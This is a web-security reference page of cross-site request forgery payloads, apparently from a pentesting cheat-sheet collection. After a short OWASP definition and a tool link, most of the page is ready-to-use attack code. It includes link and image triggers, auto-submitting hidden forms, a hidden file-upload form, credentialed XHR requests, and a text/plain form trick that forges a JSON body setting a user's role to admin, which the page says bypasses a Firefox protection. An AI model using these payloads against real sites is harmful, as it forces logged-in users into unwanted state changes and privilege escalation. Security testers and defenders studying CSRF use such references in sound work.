Cross-Site Request Forgery

Payloads and bypasses for web application security

readme.md

Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP

Tools#

0xInfection/XSRFProbe - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.

Methodology#

When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.

HTML GET - Requiring User Interaction#

<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>

HTML GET - No User Interaction#

<img src="http://www.example.com/api/setusername?username=CSRFd">

HTML POST - Requiring User Interaction#

<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"> <input name="username" type="hidden" value="CSRFd" /> <input type="submit" value="Submit Request" /></form>

HTML POST - AutoSubmit - No User Interaction#

<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"> <input name="username" type="hidden" value="CSRFd" /> <input type="submit" value="Submit Request" /></form> <script> document.getElementById("autosubmit").submit();</script>

HTML POST - multipart/form-data With File Upload - Requiring User Interaction#

<script>function launch(){    const dT = new DataTransfer();    const file = new File( [ "CSRF-filecontent" ], "CSRF-filename" );    dT.items.add( file );    document.xss[0].files = dT.files;    document.xss.submit()}</script><form style="display: none" name="xss" method="post" action="<target>" enctype="multipart/form-data"><input id="file" type="file" name="file"/><input type="submit" name="" value="" size="0" /></form><button value="button" onclick="launch()">Submit Request</button>

JSON GET - Simple Request#

<script>var xhr = new XMLHttpRequest();xhr.open("GET", "http://www.example.com/api/currentuser");xhr.send();</script>

JSON POST - Simple Request#

With XHR :

<script>var xhr = new XMLHttpRequest();xhr.open("POST", "http://www.example.com/api/setrole");//application/json is not allowed in a simple request. text/plain is the defaultxhr.setRequestHeader("Content-Type", "text/plain");//You will probably want to also try one or both of these//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");//xhr.setRequestHeader("Content-Type", "multipart/form-data");xhr.send('{"role":admin}');</script>

With autosubmit send form, which bypasses certain browser protections such as the Standard option of Enhanced Tracking Protection in Firefox browser :

<form id="CSRF_POC" action="www.example.com/api/setrole" enctype="text/plain" method="POST">// this input will send : {"role":admin,"other":"="} <input type="hidden" name='{"role":admin, "other":"'  value='"}' /></form><script> document.getElementById("CSRF_POC").submit();</script>

JSON POST - Complex Request#

<script>var xhr = new XMLHttpRequest();xhr.open("POST", "http://www.example.com/api/setrole");xhr.withCredentials = true;xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");xhr.send('{"role":admin}');</script>